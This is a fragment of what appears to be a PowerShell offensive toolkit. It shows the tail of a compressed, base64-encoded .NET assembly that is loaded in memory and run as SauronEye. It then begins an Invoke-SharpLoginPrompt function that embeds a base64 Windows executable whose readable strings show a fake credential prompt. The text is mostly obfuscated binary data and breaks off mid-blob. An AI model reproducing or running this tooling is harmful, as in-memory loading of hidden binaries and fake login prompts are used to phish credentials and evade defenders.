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"))
10 $decompressed = New-Object IO.Compression.GzipStream($a,[IO.Compression.CoMPressionMode]::DEComPress)
11 $output = New-Object System.IO.MemoryStream
12 $decompressed.CopyTo( $output )
13 [byte[]] $byteOutArray = $output.ToArray()
14 $RAS = [System.Reflection.Assembly]::Load($byteOutArray)
15
16 $OldConsoleOut = [Console]::Out
17 $StringWriter = New-Object IO.StringWriter
18 [Console]::SetOut($StringWriter)
19
20 [SauronEye.Program]::Main($Command.Split(" "))
21
22 [Console]::SetOut($OldConsoleOut)
23 $Results = $StringWriter.ToString()
24 $Results
25 }
0 function Invoke-SharpLoginPrompt
1 {
2
3 [CmdletBinding()]
4 Param (
5 [String]
6 $Command = ""
7
8 )
9 $base64binary="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QwAQAi4ASwAsAi4AUwAmAi4AWwAmAi4AYwBEAi4AawBuAi4AcwB7AuMAewDgABoAKgBJAJ4A9QXrBQAG4AUeAAABAwANAQEAAAEFAD4IAQBGAQcAfgUBAEYBCQCSCQEAAAELAMQBAgAGAQ0AAAgDAAYBDwDdBgMAAAERAIYIBAAEgAAAAQAAAAAAAAAAAAAAAABCCQAABAAAAAAAAAAAAAAAzgDOAAAAAAAEAAAAAAAAAAAAAADOABoGAAAAAAQAAAAAAAAAAAAAAM4A6ggAAAAABAAAAAAAAAAAAAAA1wCpBQAAAAADAAIABAACAAUAAgAGAAIABwACAAAAADw+OV9fMjdfMAA8VG9wV2luZG93PmJfXzI3XzAATGlzdGAxADw+OQA8TW9kdWxlPgBTaG93TkEAU1dQX05PTU9WRQBTV19NSU5JTUlaRQBTV19NQVhJTUlaRQBTV1BfTk9TSVpFAFNXUF9OT1NFTkRDSEFOR0lORwBTV1BfTk9SRVBPU0lUSU9OAENSRURVSV9JTkZPAFNXUF9OT1pPUkRFUgBIV05EX1RPUE1PU1QAU1dQX1NIT1dXSU5ET1cAWABZAHZhbHVlX18AYQBtc2NvcmxpYgA8PmMAU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMARW51bVdpbmRvd3NQcm9jAGdldF9JZABHZXRXaW5kb3dUaHJlYWRQcm9jZXNzSWQAcHJvY2Vzc0lkAEdldFdpbmRvd0hhbmRsZXNGb3JUaHJlYWQAUHJvY2Vzc1RocmVhZABBZGQAU2hvd01pbmltaXplZABTaG93TWF4aW1pemVkAGhXbmQAaHduZABtZXRob2QAZ2V0X1Bhc3N3b3JkAHNldF9QYXNzd29yZABwY2NoTWF4UGFzc3dvcmQAcHN6UGFzc3dvcmQASGlkZQBDb1Rhc2tNZW1GcmVlAGF1dGhQYWNrYWdlAEVuZEludm9rZQBCZWdpbkludm9rZQBHZXRFbnZpcm9ubWVudFZhcmlhYmxlAElEaXNwb3NhYmxlAHRocmVhZEhhbmRsZQBnZXRfTWFpbldpbmRvd0hhbmRsZQBoYW5kbGUAQ29uc29sZQBnZXRfTWFjaGluZU5hbWUAcHN6RG9tYWluTmFtZQBnZXRfVXNlck5hbWUAc2V0X1VzZXJOYW1lAHBjY2hNYXhVc2VyTmFtZQBwc3pVc2VyTmFtZQBwY2NoTWF4RG9tYWluYW1lAFdyaXRlTGluZQBWYWx1ZVR5cGUAQ29udGV4dFR5cGUAbm90VXNlZEhlcmUAUmVzdG9yZQBSZWFkT25seUNvbGxlY3Rpb25CYXNlAERpc3Bvc2UARW51bVRocmVhZERlbGVnYXRlAE11bHRpY2FzdERlbGVnYXRlAFNob3dOb0FjdGl2YXRlAENvbXBpbGVyR2VuZXJhdGVkQXR0cmlidXRlAEd1aWRBdHRyaWJ1dGUARGVidWdnYWJsZUF0dHJpYnV0ZQBDb21WaXNpYmxlQXR0cmlidXRlAEFzc2VtYmx5VGl0bGVBdHRyaWJ1dGUAQXNzZW1ibHlUcmFkZW1hcmtBdHRyaWJ1dGUAVGFyZ2V0RnJhbWV3b3JrQXR0cmlidXRlAEFzc2VtYmx5RmlsZVZlcnNpb25BdHRyaWJ1dGUAQXNzZW1ibHlDb25maWd1cmF0aW9uQXR0cmlidXRlAEFzc2VtYmx5RGVzY3JpcHRpb25BdHRyaWJ1dGUAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQBBc3NlbWJseVByb2R1Y3RBdHRyaWJ1dGUAQXNzZW1ibHlDb3B5cmlnaHRBdHRyaWJ1dGUAQXNzZW1ibHlDb21wYW55QXR0cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlAGZTYXZlAFNob3dNaW5Ob0FjdGl2ZQBTaGFycExvZ2luUHJvbXB0LmV4ZQBjYlNpemUASW5BdXRoQnVmZmVyU2l6ZQByZWZPdXRBdXRoQnVmZmVyU2l6ZQBGb3JjZU1pbmltaXplAE1heGltaXplAFNpemVPZgBTeXN0ZW0uVGhyZWFkaW5nAFN5c3RlbS5SdW50aW1lLlZlcnNpb25pbmcAVG9TdHJpbmcAbHBTdHJpbmcAZ2V0X1ByaW1hcnlTY3JlZW5XaWR0aABHZXRXaW5kb3dUZXh0TGVuZ3RoAEFzeW5jQ2FsbGJhY2sAY2FsbGJhY2sAUHJlc2VudGF0aW9uRnJhbWV3b3JrAE1hcnNoYWwATmV0d29ya0NyZWRlbnRpYWwATm9ybWFsAHVzZXIzMi5EbGwAb2xlMzIuZGxsAHVzZXIzMi5kbGwAY3JlZHVpLmRsbABsUGFyYW0AUHJvZ3JhbQBTeXN0ZW0AV2luZG93RW51bQBNYWluAGdldF9Eb21haW4Ac2V0X0RvbWFpbgBTeXN0ZW0uUmVmbGVjdGlvbgBQcm9jZXNzVGhyZWFkQ29sbGVjdGlvbgBQcmluY2lwYWxPcGVyYXRpb25FeGNlcHRpb24AWmVybwBDbGVhcgBTdHJpbmdCdWlsZGVyAGNiQXV0aEJ1ZmZlcgBJbkF1dGhCdWZmZXIAcEF1dGhCdWZmZXIAcmVmT3V0QXV0aEJ1ZmZlcgBDcmVkVW5QYWNrQXV0aGVudGljYXRpb25CdWZmZXIAaGJtQmFubmVyAGhXbmRJbnNlcnRBZnRlcgBhdXRoRXJyb3IASUVudW1lcmF0b3IAR2V0RW51bWVyYXRvcgAuY3RvcgAuY2N0b3IASW50UHRyAHB0cgBTeXN0ZW0uRGlhZ25vc3RpY3MAZ2V0X1RocmVhZHMAU2hvd1dpbmRvd0NvbW1hbmRzAFN5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcwBTeXN0ZW0uUnVudGltZS5Db21waWxlclNlcnZpY2VzAERlYnVnZ2luZ01vZGVzAHVGbGFncwBkd0ZsYWdzAGZsYWdzAGFyZ3MAVmFsaWRhdGVDcmVkZW50aWFscwBDcmVkVUlQcm9tcHRGb3JXaW5kb3dzQ3JlZGVudGlhbHMAQ29udGFpbnMAU3lzdGVtLkNvbGxlY3Rpb25zAFNldFdpbmRvd1BvcwBTeXN0ZW1QYXJhbWV0ZXJzAEdldEN1cnJlbnRQcm9jZXNzAF9yZXN1bHRzAFN5c3RlbS5XaW5kb3dzAEVudW1XaW5kb3dzAENvbmNhdABPYmplY3QAb2JqZWN0AFN5c3RlbS5OZXQAZ2V0X1ByaW1hcnlTY3JlZW5IZWlnaHQAU2hvd0RlZmF1bHQASUFzeW5jUmVzdWx0AHJlc3VsdABTeXN0ZW0uRGlyZWN0b3J5U2VydmljZXMuQWNjb3VudE1hbmFnZW1lbnQARW52aXJvbm1lbnQAaHduZFBhcmVudABnZXRfQ3VycmVudABuTWF4Q291bnQAU2hhcnBMb2dpblByb21wdABUaHJlYWRTdGFydABNb3ZlTmV4dABTeXN0ZW0uVGV4dABwc3pNZXNzYWdlVGV4dABwc3pDYXB0aW9uVGV4dABHZXRXaW5kb3dUZXh0AFByaW5jaXBhbENvbnRleHQAVG9wV2luZG93AEdldFRleHRmcm9td2luZG93AFNob3cAY3gAVG9BcnJheQBjeQBnZXRfQ2FwYWNpdHkAb3BfRXF1YWxp